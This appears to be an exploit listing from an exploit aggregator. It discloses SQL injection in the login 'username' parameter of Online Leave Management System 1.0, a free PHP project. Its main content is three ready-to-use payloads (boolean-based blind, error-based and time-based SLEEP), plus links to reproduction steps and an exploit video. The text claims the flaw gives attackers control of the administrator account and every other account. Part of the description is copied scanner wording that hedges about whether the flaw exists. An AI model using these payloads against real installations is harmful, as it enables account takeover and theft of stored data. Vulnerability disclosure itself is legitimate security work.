Share
## https://sploitus.com/exploit?id=1337DAY-ID-37457
## Title: Online Leave Management System 1.0 System SQLi Best PHP Project Idea for Beginners 2021-2022
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Leave-Management

## Description:
The `username` parameter from Online Leave Management System 1.0 appears to be vulnerable to SQL injection attacks. 
A single quote was submitted in the username parameter, and a database error message was returned. 
Two single quotes were then submitted and the error message disappeared. 
You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. 
The attacker can take administrator account control and also of all accounts on this system, 
also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=jcTnLykY' OR NOT 6705=6705-- yIRB&password=a5G!g1j!Y5

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=jcTnLykY' AND (SELECT 5353 FROM(SELECT COUNT(*),CONCAT(0x716a787a71,(SELECT (ELT(5353=5353,1))),0x716b706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tZQT&password=a5G!g1j!Y5

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=jcTnLykY' AND (SELECT 4174 FROM (SELECT(SLEEP(5)))FFYl)-- qXDm&password=a5G!g1j!Y5
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Online-Leave-Management)

## Proof and Exploit:
[href](https://streamable.com/qjc3vh)